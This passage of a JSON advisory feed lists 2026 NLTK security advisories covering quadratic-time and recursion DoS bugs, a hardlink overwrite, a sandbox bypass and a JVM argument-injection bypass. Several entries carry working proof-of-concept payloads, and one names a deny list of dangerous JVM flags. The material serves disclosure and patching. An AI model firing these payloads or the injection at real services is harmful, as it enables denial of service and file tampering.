`'y'*10000`. The iterative form walks *backward* over the whole run of 'y's on every call:\n\n```python\nwhile i \u003e 0 and word[i] == 'y':\n    negate = not negate\n    i -= 1\n```\n\n`_measure()` then calls `_is_consonant(stem, i)` once for **every** position `i` of the stem. For a run of n 'y's that is sum_{i} O(i) = O(n^2). The recursion fix therefore traded a CWE-674 RecursionError for a CWE-407 quadratic-time DoS.\n\n## Proof of concept\n\nMeasured (Python 3.13): `stem('y'*5000 + 'ness')` = 2.6s, `stem('y'*10000 + 'ness')` = 11.3s (2x input -\u003e ~4.3x time = quadratic), `stem('y'*20000 + 'ness')` \u003e 20s. A pure run of 'y' with no matching suffix is fast because the stemmer rules that call `_measure` do not fire; a real suffix such as 'ness' triggers `_measure` on the long stem.\n\n```python\nfrom nltk.stem import PorterStemmer\nPorterStemmer().stem('y' * 20000 + 'ness')   # \u003e20s of CPU\n```\n\n## Impact\n\nStemming is routinely applied to untrusted text (search, indexing, NLP pipelines). A single unbroken ~20-50 KB token of 'y' characters (no whitespace, so it survives tokenization) causes multi-second-to-minutes CPU consumption per request. No confidentiality/integrity impact; single-process availability only.\n\n## Fix direction\n\nClassify each character's consonant/vowel status in a single left-to-right O(n) pass (memoise the 'y' run parity) instead of re-walking the run on every `_is_consonant` call, so `_measure` and stemming are linear. This is a sibling of the corpus-reader quadratic advisories GHSA-vp2x-qp44-57v7 and GHSA-8mpw-7fpc-4gqj (CWE-407).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-02T14:36:15.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-ww6m-cw3f-q94g","https://nvd.nist.gov/vuln/detail/CVE-2026-81722","https://github.com/nltk/nltk/commit/7808692d451b962711005d954859bb83aabcf8fa","https://github.com/nltk/nltk/releases/tag/v3.10.3","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3738.yaml","https://www.vulncheck.com/advisories/nltk-porterstemmer-before-3.10.3-quadratic-time-dos","https://github.com/advisories/GHSA-ww6m-cw3f-q94g"],"source_kind":"github","identifiers":["GHSA-ww6m-cw3f-q94g","CVE-2026-81722"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.727Z","updated_at":"2026-09-25T12:00:44.407Z","epss_percentage":0.00521,"epss_percentile":0.41722,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13dzZtLWN3M2YtcTk0Z84ABodB","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13dzZtLWN3M2YtcTk0Z84ABodB","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.3","vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13dzZtLWN3M2YtcTk0Z84ABodB/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mNzk0LTVqdjctNzY3Ms4ABodA","url":"https://github.com/advisories/GHSA-f794-5jv7-7672","title":"NLTK: Downloader.download follows hardlinks and overwrites outside-root files","description":"### Summary\n\nNLTK's downloader now blocks symlink escapes during ZIP extraction, but it still treats pre-existing hardlinks inside the install tree as ordinary in-root files. A normal package install can therefore overwrite an outside-root inode through that hardlink.\n\n### Details\n\n- **Vulnerability type:** Filesystem containment bypass\n- **Affected component:** `nltk.downloader.Downloader.download`, `nltk.downloader.Downloader.incr_download`\n- **Affected versions:** Published `3.9.4` and current source `v3.10.0-rc2` both reproduced for the extraction-stage overwrite.\n- **Patched versions:** 3.10.3\n- **Root cause:** The downloader validates traversal and symlink conditions but does not reject pre-existing hardlink aliases inside the install tree.\n\nThe install flow correctly rejects a pre-existing symlink at an extraction target, yet it accepts a pre-existing hardlink at the same path. When the package is installed, extracted member data is written through the hardlink and mutates the outside inode.\n\n### PoC\n\n**Preconditions**\n- The attacker can plant files inside a writable shared downloader root on the same filesystem as the target file.\n\n**Steps**\n1. Prepare a downloader root and create a hardlink inside it that points to an outside target file.\n2. Confirm a symlink at the same path is rejected as a negative control.\n3. Run a normal `Downloader.download()` package install whose extracted member lands on the hardlink path.\n4. Observe the outside target file is overwritten while the downloader still reports the package as installed.\n\n**Minimal reproducible excerpt**\n\n```text\nextract_hardlink_before ORIGINAL\nextract_hardlink_after PWNED\nextract_hardlink_status installed\n```\n\n### Impact\n\nA shared or attacker-influenced downloader directory can be turned into an overwrite primitive against same-filesystem files outside the intended install root.\n\n### Remediation\n\nTreat pre-existing hardlinks as unsafe in extraction targets, verify that each write path stays within the intended install tree at the inode level, and add regression tests that pair hardlinks with existing symlink controls.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-02T14:35:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-f794-5jv7-7672","https://nvd.nist.gov/vuln/detail/CVE-2026-81727","https://github.com/nltk/nltk/pull/3797","https://github.com/nltk/nltk/commit/9e6d5f05902b9aaa1221a0a565448d17a9c9b3e8","https://github.com/nltk/nltk/releases/tag/v3.10.3","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3741.yaml","https://www.vulncheck.com/advisories/nltk-before-3.10.3-hardlink-file-overwrite-via-downloader","https://github.com/advisories/GHSA-f794-5jv7-7672"],"source_kind":"github","identifiers":["GHSA-f794-5jv7-7672","CVE-2026-81727"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.727Z","updated_at":"2026-09-25T12:00:44.408Z","epss_percentage":0.00187,"epss_percentile":0.07347,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mNzk0LTVqdjctNzY3Ms4ABodA","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mNzk0LTVqdjctNzY3Ms4ABodA","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.3","vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mNzk0LTVqdjctNzY3Ms4ABodA/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04bWdwLTc0NmMtajV4cM4ABoc_","url":"https://github.com/advisories/GHSA-8mgp-746c-j5xp","title":"NLTK: Model-artifact APIs bypass pathsec and touch files outside allowed roots","description":"### Summary\n\nSeveral model-artifact APIs still treat caller-controlled model paths as ordinary filenames even when NLTK path security is enforced. The same outside-root paths are rejected by guarded helpers, but these public read and write flows still use raw file APIs.\n\n### Details\n\n- **Vulnerability type:** File sandbox bypass\n- **Affected component:** `TransitionParser.train`, `TransitionParser.parse`, `AveragedPerceptron.save`, `AveragedPerceptron.load`, `PerceptronTagger.save_to_json`, `save_maxent_params`\n- **Affected versions:** Published `3.9.4` and current source `v3.10.0-rc2` both reproduced.\n- **Patched versions:** Not yet patched\n- **Root cause:** Model import and export helpers use built-in `open()` on caller-controlled paths instead of pathsec-aware helpers.\n\n`TransitionParser.train()` writes outside allowed roots, `TransitionParser.parse()` reads outside allowed roots, `AveragedPerceptron` bypasses the sandbox in both directions, and adjacent read-side helpers in the same family already show the intended guarded behavior. I confirmed outside-root reads and writes while `pathsec.open()` or the guarded sibling helpers rejected the same paths.\n\n### PoC\n\n**Preconditions**\n- The application enables `pathsec` enforcement and lets untrusted workflows choose model import or export paths.\n\n**Steps**\n1. Enable `pathsec.ENFORCE=True` and restrict allowed roots to a dedicated sandbox directory.\n2. Use public model import or export APIs with paths that point outside that root.\n3. Observe the same paths are rejected by negative-control guarded helpers such as `pathsec.open()`, `PerceptronTagger.load_from_json()`, or `load_maxent_params()`.\n4. Observe the vulnerable APIs still read or write outside-root files successfully.\n\n**Minimal reproducible excerpt**\n\n```text\ntransition_train_exists True\ntransition_parse_loader_read_bytes 13\naveraged_load_keys ['bias']\nmaxent_save wrote ['alwayson.tab', 'labels.txt']\n```\n\n### Impact\n\nConsumers that rely on `pathsec` for local containment can be tricked into reading or overwriting files outside approved roots through normal model persistence and loading APIs.\n\n### Remediation\n\nRoute all model-path file access through `nltk.pathsec.open()` or existing pathsec-aware helpers, and add regression tests that pair each vulnerable API with a negative control on the same path.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-02T14:35:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-8mgp-746c-j5xp","https://nvd.nist.gov/vuln/detail/CVE-2026-81726","https://github.com/nltk/nltk/pull/3757","https://github.com/nltk/nltk/pull/3759","https://github.com/nltk/nltk/pull/3813","https://github.com/nltk/nltk/commit/2a92b71827d754ae8920261e7ed0c4bb283ab2d7","https://github.com/nltk/nltk/commit/a44a7af69bca87e92d9c4a701fcbbe4512e8d450","https://github.com/nltk/nltk/commit/cbc98458b43de5f792f0382583c16df39e5c5117","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3740.yaml","https://www.vulncheck.com/advisories/nltk-through-3.10.3-path-traversal-via-model-artifact-apis","https://github.com/advisories/GHSA-8mgp-746c-j5xp"],"source_kind":"github","identifiers":["GHSA-8mgp-746c-j5xp","CVE-2026-81726"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.727Z","updated_at":"2026-09-25T12:00:44.409Z","epss_percentage":0.00339,"epss_percentile":0.24586,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04bWdwLTc0NmMtajV4cM4ABoc_","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04bWdwLTc0NmMtajV4cM4ABoc_","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.10.3"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04bWdwLTc0NmMtajV4cM4ABoc_/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12cDJ4LXFwNDQtNTd2N84ABoc-","url":"https://github.com/advisories/GHSA-vp2x-qp44-57v7","title":"NLTK: Quadratic CPU Exhaustion in `XMLCorpusView._read_xml_fragment()`","description":"## Summary\n\n`XMLCorpusView._read_xml_fragment()` reads a corpus file in 1 KiB blocks, appending\neach block to a growing `fragment` string, then calls `_VALID_XML_RE.match(fragment)`\non the full accumulated buffer every iteration. Because each iteration rescans the\nentire accumulated fragment, the total amount of work grows quadratically with input\nsize.\n\nCommit `c9c332284` (CWE-1333) made each `match()` call linear. The quadratic behavior\nis separate: the loop calls `match()` once per 1 KiB block, each time on a longer\nbuffer.\n\nOn the test system, an 8 MiB malformed XML file consumed approximately 48 CPU-seconds\nthrough the public `BNCCorpusReader.words()` API with no source modification. Absolute\ntimings vary by hardware. `_read_xml_fragment()` imposes no limit on fragment size or\niteration count.\n\n## Details\n\n**File:** `nltk/corpus/reader/xmldocs.py`  \n**Function:** `XMLCorpusView._read_xml_fragment()`, lines 261–308\n\nThe relevant loop:\n\n```python\nfragment = \"\"\nwhile True:\n    fragment += stream.read(self._BLOCK_SIZE)      # grows by 1 KiB per iteration\n    if self._VALID_XML_RE.match(fragment):         # rescans full buffer each time\n        return fragment\n    ...\n    last_open_bracket = fragment.rfind(\"\u003c\")\n    if last_open_bracket \u003e 0:                      # False for single-'\u003c' payload\n        if self._VALID_XML_RE.match(fragment[:last_open_bracket]):\n            return ...\n    # loop continues\n```\n\nFor a payload of `b'\u003c' + b'a' * (N-1)`:\n\n- For this malformed input, `_VALID_XML_RE.match(fragment)` does not succeed because\n  the unterminated tag prevents the expression from matching before EOF.\n- `fragment.rfind(\"\u003c\")` returns `0`; the guard `last_open_bracket \u003e 0` is `False`, so\n  the backtrack branch is never taken.\n- The only exit is EOF, after all N bytes are consumed.\n\n**Affected readers** -\u003e readers that rely on `XMLCorpusView`, including\n`BNCCorpusReader`, `NPSChatCorpusReader`, `SemcorCorpusReader`, `MTECorpusReader`,\n`NKJPCorpusReader`, `FrameNetCorpusReader`, `VerbNetCorpusReader`, and direct\n`XMLCorpusView` instantiation. `XMLCorpusReader.xml()` is not affected -\u003e it calls\n`defusedxml.safe_parse()`.\n\n## PoC\n\nRequires only `pip install nltk`. No corpus data needed.\n\n```python\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\nfrom time import perf_counter\nfrom nltk.corpus.reader.bnc import BNCCorpusReader\n\nSIZES_KIB = (256, 512, 1024, 2048, 4096, 8192)\nresults = []\nwith TemporaryDirectory() as directory:\n    root = Path(directory)\n    malformed = root / \"unterminated.xml\"\n    for kib in SIZES_KIB:\n        malformed.write_bytes(b\"\u003c\" + b\"a\" * (kib * 1024 - 1))\n        t = perf_counter()\n        try:\n            list(BNCCorpusReader(str(root), [malformed.name]).words())\n        except ValueError as e:\n            assert \"tag not closed\" in str(e)\n        results.append(perf_counter() - t)\n\nprint(\"KiB      seconds   growth\")\nfor i, (kib, elapsed) in enumerate(zip(SIZES_KIB, results)):\n    ratio = \"-\" if i == 0 else f\"{elapsed / results[i-1]:.2f}x\"\n    print(f\"{kib:5d}  {elapsed:9.3f}  {ratio}\")\n```\n\nRuntime should increase by approximately fourfold for each doubling of input size,\nalthough absolute timings vary by hardware.\n\nDuring verification, `_VALID_XML_RE.match()` was instrumented to record the size of\neach input. For a 256 KiB malformed file it was invoked 257 times on monotonically\nincreasing buffers (1024, 2048, …, 262144 bytes), with the final call occurring after\nEOF. This confirms that every iteration rescans the accumulated fragment.\n\n## Impact\n\nApplications that process attacker-controlled XML corpus files through an affected reader\nare vulnerable. The attacker needs only write access to a path the reader will open. No\nNLTK credentials or special privileges required. Offline tools reading only trusted\nlocal corpora are not at risk.\n\n**Affected versions:** Verified in NLTK 3.9.4, 3.10.0, and the current develop branch.\nHistorical inspection indicates the same loop structure has existed since the\nintroduction of `XMLCorpusView` (2007), but only the listed versions were\nexperimentally verified. No patch exists in any published release.\n\nThis issue results in CPU exhaustion and may allow denial of service in applications\nthat process attacker-controlled XML corpus files.\n\n## Suggested Fix\n\nAvoid rescanning the accumulated fragment from the beginning after each 1 KiB read.\nIncremental parsing, bounded fragment accumulation, or another streaming approach would\neliminate the quadratic behavior while preserving existing semantics.\n\nA regression test should verify that `BNCCorpusReader.words()` raises `ValueError`\nwithin a fixed timeout (e.g. 5 seconds) against a 2 MiB malformed input. The existing\n`test_xmldocs_security.py` covers only the prior ReDoS payloads and does not exercise\nthis path.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-02T14:34:11.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-vp2x-qp44-57v7","https://nvd.nist.gov/vuln/detail/CVE-2026-81723","https://github.com/nltk/nltk/commit/7808692d451b962711005d954859bb83aabcf8fa","https://github.com/nltk/nltk/releases/tag/v3.10.3","https://www.vulncheck.com/advisories/nltk-before-3.10.3-quadratic-cpu-exhaustion-via-xmlcorpusview","https://github.com/advisories/GHSA-vp2x-qp44-57v7"],"source_kind":"github","identifiers":["GHSA-vp2x-qp44-57v7","CVE-2026-81723"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.727Z","updated_at":"2026-09-26T11:00:33.478Z","epss_percentage":0.00281,"epss_percentile":0.18321,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12cDJ4LXFwNDQtNTd2N84ABoc-","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12cDJ4LXFwNDQtNTd2N84ABoc-","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.3","vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12cDJ4LXFwNDQtNTd2N84ABoc-/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mZjVjLWNwNWMtOXdqZs4ABoc9","url":"https://github.com/advisories/GHSA-ff5c-cp5c-9wjf","title":"NLTK: Uncontrolled resource consumption in RecursiveDescentParser via ambiguous or left-recursive grammars","description":"`nltk.parse.RecursiveDescentParser` (and `SteppingRecursiveDescentParser`) enumerate parses top-down with no bound on the number of recursive steps. A small, crafted context-free grammar makes a short input consume unbounded CPU (and/or exhaust the Python recursion stack), pinning a process indefinitely — a denial of service.\n\n## Proof of concept\n\nBoth of the following hang on a 24-token input (killed after 8s; growth is super-linear in input length), on NLTK develop:\n\n```python\nfrom nltk import CFG\nfrom nltk.parse import RecursiveDescentParser\n\n# (a) left recursion -\u003e unbounded recursion\ng = CFG.fromstring(\"S -\u003e S S | 'a'\")\nlist(RecursiveDescentParser(g).parse([\"a\"] * 24))   # hangs\n\n# (b) ambiguous grammar -\u003e exponential number of parses\ng = CFG.fromstring(\"S -\u003e 'a' S | 'a' S S | 'a'\")\nlist(RecursiveDescentParser(g).parse([\"a\"] * 24))   # hangs\n```\n\n## Impact\n\nAn application that runs `RecursiveDescentParser` on a grammar (or an input) drawn from an untrusted source can be driven into an unbounded CPU / stack-exhaustion loop by a tiny payload. No confidentiality or integrity impact; single-process availability only.\n\n## Sibling\n\nThe RegexpTokenizer ReDoS reported alongside this (CVE-2026-12875) is a different class (caller-supplied regex) and is addressed under GHSA-w3v8-gmh9-3wv7.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-02T14:33:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-ff5c-cp5c-9wjf","https://github.com/nltk/nltk/pull/3649","https://github.com/nltk/nltk/commit/43aaca1b9024138421c97f970bf13ee19ac8129d","https://github.com/nltk/nltk/releases/tag/v3.10.3","https://github.com/advisories/GHSA-ff5c-cp5c-9wjf"],"source_kind":"github","identifiers":["GHSA-ff5c-cp5c-9wjf","CVE-2026-12876"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.727Z","updated_at":"2026-09-03T07:00:11.241Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mZjVjLWNwNWMtOXdqZs4ABoc9","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mZjVjLWNwNWMtOXdqZs4ABoc9","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.3","vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mZjVjLWNwNWMtOXdqZs4ABoc9/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jdzZ4LW04anctcW1yaM4ABoc8","url":"https://github.com/advisories/GHSA-cw6x-m8jw-qmrh","title":"NLTK: Uncontrolled recursion in nltk.featstruct.FeatStructReader causes unhandled RecursionError (DoS) via deeply nested feature-structure input","description":"### Summary\n\n`nltk.featstruct.FeatStructReader` (used by `FeatStruct(str)` and by `FeatureGrammar.fromstring()`) parses feature-structure strings such as `[a=1]` with a recursive-descent parser that has no nesting-depth limit. A small, trivially-crafted input (~700 bytes) with deeply nested brackets drives the parser past Python's recursion limit and raises an **unhandled `RecursionError`** instead of the library's normal, catchable `ValueError`/`LogicalExpressionException`. Any application that parses user-supplied feature-structure or feature-grammar text (e.g. NLP teaching tools, grammar \"playgrounds\", unification-grammar-based NLU pipelines) can be crashed by an unauthenticated input with no special privileges. This is a Denial of Service issue (CWE-674, Uncontrolled Recursion), not a memory-safety or code-execution issue.\n\nThis appears to be the same bug class as two issues already fixed elsewhere in the codebase — `nltk/jsontags.py` (`JSONTaggedDecoder.decode_obj`, guarded by `MAX_DECODE_DEPTH = 200`) and `nltk/sem/logic.py` (`LogicParser`, guarded by `MAX_PARSE_DEPTH = 200`) — but `nltk/featstruct.py` does not have an equivalent guard.\n\n### Details\n\nThe recursive call chain (current `develop` branch, `nltk/featstruct.py`):\n\n1. `FeatStructReader.fromstring()` ([`featstruct.py:2184`](nltk/featstruct.py#L2184)) calls `read_partial()` → `_read_partial()` ([`featstruct.py:2250`](nltk/featstruct.py#L2250)).\n2. `_read_partial()` dispatches to `_read_partial_featdict()`, which calls `_read_value()` ([`featstruct.py:2436`](nltk/featstruct.py#L2436)) for each feature's value.\n3. `_read_value()` calls `read_value()` ([`featstruct.py:2442`](nltk/featstruct.py#L2442)), which matches the value against `VALUE_HANDLERS` ([`featstruct.py:2478`](nltk/featstruct.py#L2478)).\n4. If the value itself starts with `[` (a nested feature structure), the matched handler is `read_fstruct_value` ([`featstruct.py:2479`](nltk/featstruct.py#L2479), defined at [`featstruct.py:2495`](nltk/featstruct.py#L2495)):\n   ```python\n   def read_fstruct_value(self, s, position, reentrances, match):\n       return self.read_partial(s, position, reentrances)\n   ```\n   This calls `read_partial()` again, which re-enters `_read_partial()` — the same function from step 1.\n\nThis closes a recursive cycle (`_read_partial → _read_value → read_value → read_fstruct_value → read_partial → _read_partial → ...`) with **no depth counter, no `MAX_*_DEPTH` constant, and no `try/except RecursionError`** anywhere in the class. Each additional `[` in the input adds one more full cycle of Python stack frames. Once the input nests deeply enough, Python's own recursion-limit protection fires and raises `RecursionError`, which is not a subclass of `ValueError` (the exception type this parser's own `_error()` helper raises for normal, well-formed parse errors) and therefore propagates uncaught through this API.\n\nFor comparison, `nltk/sem/logic.py`'s `LogicParser` was hardened against exactly this class of issue:\n```python\n#: Maximum expression-nesting depth the recursive-descent parser will\n#: descend to. Deeply nested input would otherwise recurse until Python\n#: raises an uncaught RecursionError and crashes the caller\n#: (uncontrolled recursion, CWE-674); past this depth a normal\n#: LogicalExpressionException is raised instead. Configurable.\nMAX_PARSE_DEPTH = 200\n```\n(`nltk/sem/logic.py:102-107`), and `nltk/jsontags.py`'s `JSONTaggedDecoder` similarly has `MAX_DECODE_DEPTH = 200` with an explicit depth check. `nltk/featstruct.py` has no analogous protection.\n\n`FeatureGrammar.fromstring()` (`nltk/grammar.py`) parses feature structures embedded in FCFG grammar rules via the same `FeatStructReader`, so the same crash is reachable through grammar-string parsing as well as through `FeatStruct()` directly.\n\n### PoC\n\nVerified against the current `develop` branch in a clean virtualenv (Python 3.12, NLTK installed from this checkout via `pip install -e .`):\n\n```python\nfrom nltk.featstruct import FeatStruct\n\ndepth = 167\npayload = \"[a=\" * depth + \"1\" + \"]\" * depth   # 669 bytes\nFeatStruct(payload)\n```\n\nResult:\n```\nTraceback (most recent call last):\n  ...\n  File \".../nltk/featstruct.py\", line 2310, in _read_partial_featdict\n    value, position = self._read_value(name, s, position, reentrances)\n  File \".../nltk/featstruct.py\", line 2440, in _read_value\n    return self.read_value(s, position, reentrances)\n  File \".../nltk/featstruct.py\", line 2446, in read_value\n    return handler_func(s, position, reentrances, match)\n  [... repeats ~167 times ...]\nRecursionError: maximum recursion depth exceeded\n```\n\n- Crash threshold: nesting depth 167 (binary-searched between 50 and 200).\n- Payload size: 669 bytes — fits trivially in a single HTTP request body/query parameter.\n- Time to crash: \u003c2ms — no resource exhaustion is needed, only recursion depth.\n\nMinimal reproduction (no server required):\n```bash\npython3 -c \"\nfrom nltk.featstruct import FeatStruct\nFeatStruct('[a=' * 200 + '1' + ']' * 200)\n\"\n```\n\nIllustrative server-side context (not part of NLTK itself, but representative of how the bug becomes reachable):\n```python\nfrom flask import Flask, request\nfrom nltk.featstruct import FeatStruct\n\napp = Flask(__name__)\n\n@app.route(\"/parse\", methods=[\"POST\"])\ndef parse_grammar():\n    return {\"result\": str(FeatStruct(request.json[\"grammar\"]))}\n```\nA POST of `{\"grammar\": \"[a=\" * 200 + \"1\" + \"]\" * 200}` to this endpoint raises the uncaught `RecursionError` inside the request handler.\n\n### Impact\n\n**Vulnerability type:** Denial of Service via uncontrolled recursion (CWE-674). This is not a memory-corruption bug and does not lead to code execution or data disclosure — Python's own recursion-limit safety net converts what would be a C-level stack overflow into a catchable (but here, uncaught) `RecursionError`.\n\n**Who is affected:** Any application that passes externally-supplied text into `nltk.featstruct.FeatStruct()` or `nltk.grammar.FeatureGrammar.fromstring()` — for example, NLP/computational-linguistics teaching tools, unification-grammar demo services, or NLU pipelines that accept user-authored feature grammars. This is a narrower slice of NLTK's user base than, e.g., tokenization or POS tagging, since feature-structure/unification-grammar parsing is a more specialized part of the library.\n\n**Practical severity depends on deployment:**\n- In typical WSGI-style web frameworks (Flask/Django/FastAPI behind gunicorn/uwsgi), an uncaught exception inside a request handler is caught at the framework/server boundary: the single request fails (HTTP 500), the worker process itself survives, and unaffected requests are unimpacted.\n- In single-threaded or per-task-unprotected contexts (e.g. a queue-consuming worker without per-task exception isolation), the uncaught `RecursionError` can terminate the entire process; without a process supervisor that auto-restarts it, this is a persistent outage until manually restarted. An attacker who repeats the payload can keep such a worker in a crash loop for as long as the attack continues.\n\n**Suggested fix:** Add a depth counter and a `MAX_PARSE_DEPTH`-style constant to `FeatStructReader`, mirroring the existing fix in `nltk/sem/logic.py`, and raise the library's normal `ValueError`-based parse error once the limit is exceeded instead of letting `RecursionError` propagate.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-02T14:33:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-cw6x-m8jw-qmrh","https://nvd.nist.gov/vuln/detail/CVE-2026-81724","https://github.com/nltk/nltk/commit/43c7b78cc8ea37e5cd3a129e27e32c415ea21cf1","https://github.com/nltk/nltk/releases/tag/v3.10.3","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3739.yaml","https://www.vulncheck.com/advisories/nltk-before-3.10.3-denial-of-service-via-uncontrolled-recursion","https://github.com/advisories/GHSA-cw6x-m8jw-qmrh"],"source_kind":"github","identifiers":["GHSA-cw6x-m8jw-qmrh","CVE-2026-81724"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.727Z","updated_at":"2026-09-25T12:00:44.412Z","epss_percentage":0.00456,"epss_percentile":0.36856,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jdzZ4LW04anctcW1yaM4ABoc8","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jdzZ4LW04anctcW1yaM4ABoc8","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.3","vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jdzZ4LW04anctcW1yaM4ABoc8/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tNHJmLTNmcjgteHd4M84ABnWp","url":"https://github.com/advisories/GHSA-m4rf-3fr8-xwx3","title":"NLTK: JVM argument injection bypass via per-call options in the NLTK Stanford wrappers (incomplete fix of CVE-2026-12841)","description":"## Vulnerability\n\nThe fix for CVE-2026-12841 (CWE-88, JVM argument injection) added `_validate_java_options()` to block dangerous JVM flags such as `-agentlib`, `-agentpath`, `-javaagent`, `-Xrunjdwp`, and `@argfile` references. However, the validation is only applied when setting global options via `config_java()`. The `java()` function's per-call `options` parameter -- added by PR #3683 (CVE-2026-12615 fix) -- passes options directly to `subprocess.Popen` without calling `_validate_java_options()`.\n\nAll four Stanford Java wrapper classes accept user-supplied `java_options` and route them through the unvalidated per-call path, bypassing the CVE-2026-12841 fix entirely.\n\n## Root Cause\n\nIn `nltk/internals.py`, the `java()` function (line 128) accepts an `options` keyword argument. When `options` is not None, it is converted to a list and prepended to the JVM command (lines 211-217) without any validation:\n\n```python\n# nltk/internals.py, lines 211-217 (HEAD)\nif options is None:\n    java_options = _java_options       # validated by config_java()\nelse:\n    if isinstance(options, str):\n        options = options.split()\n    java_options = list(options)       # NO validation\ncmd = [_java_bin] + java_options + cmd\n```\n\nCompare with `config_java()` (line 92) which does validate:\n\n```python\n# nltk/internals.py, lines 122-123\n_validate_java_options(options)\n_java_options[:] = options\n```\n\nThe four affected wrapper classes store user-supplied `java_options` without validation and pass them through the unvalidated per-call path:\n\n1. `GenericStanfordParser` (`nltk/parse/stanford.py`): constructor parameter at line 39, stored at line 78, passed at lines 247 and 256\n2. `StanfordTagger` (`nltk/tag/stanford.py`): constructor parameter at line 51, stored at line 79, passed at line 118\n3. `StanfordTokenizer` (`nltk/tokenize/stanford.py`): constructor parameter at line 43, stored at line 66, passed at line 109\n4. `StanfordSegmenter` (`nltk/tokenize/stanford_segmenter.py`): constructor parameter at line 68, 